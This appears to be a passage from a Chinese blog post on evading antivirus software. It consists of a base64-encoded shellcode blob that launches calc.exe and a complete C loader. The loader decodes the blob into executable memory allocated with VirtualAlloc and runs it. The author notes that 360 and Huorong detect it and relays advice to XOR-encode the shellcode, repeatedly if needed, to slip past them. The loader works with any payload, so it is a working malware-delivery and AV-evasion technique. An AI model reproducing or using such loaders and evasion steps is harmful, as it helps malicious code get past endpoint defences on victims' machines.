/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA

image-20250331124459091

工具生成应该也没啥问题

然后我们用加载器加载一下这段shellcode就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <wincrypt.h>

#pragma comment(lib,"Crypt32.lib")
//弹计算器
unsigned char shellcode[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(shellcode);

int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned int dstLen) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
//CryptStringToBinary(源地址,长度,类型,返回序列地址,返回序列长度)
//成功执行后返回1
fRet = CryptStringToBinaryA((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL, NULL);
if (!fRet) {
outLen = 0;//失败则返回0
}
return(outLen);//函数返回缓冲区大小

}

int main() {

LPVOID exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//解码shellcode
DecodeBase64((const BYTE*)shellcode, calc_len, (char*)exec_mem, calc_len);

((void(*)())exec_mem)();
return 0;
}

但是一般这种情况都会被杀,360和火绒都过不了

这里请教了一下Strider师傅,他说shellcode这块使用异或就可以了,不行的话就多以或几次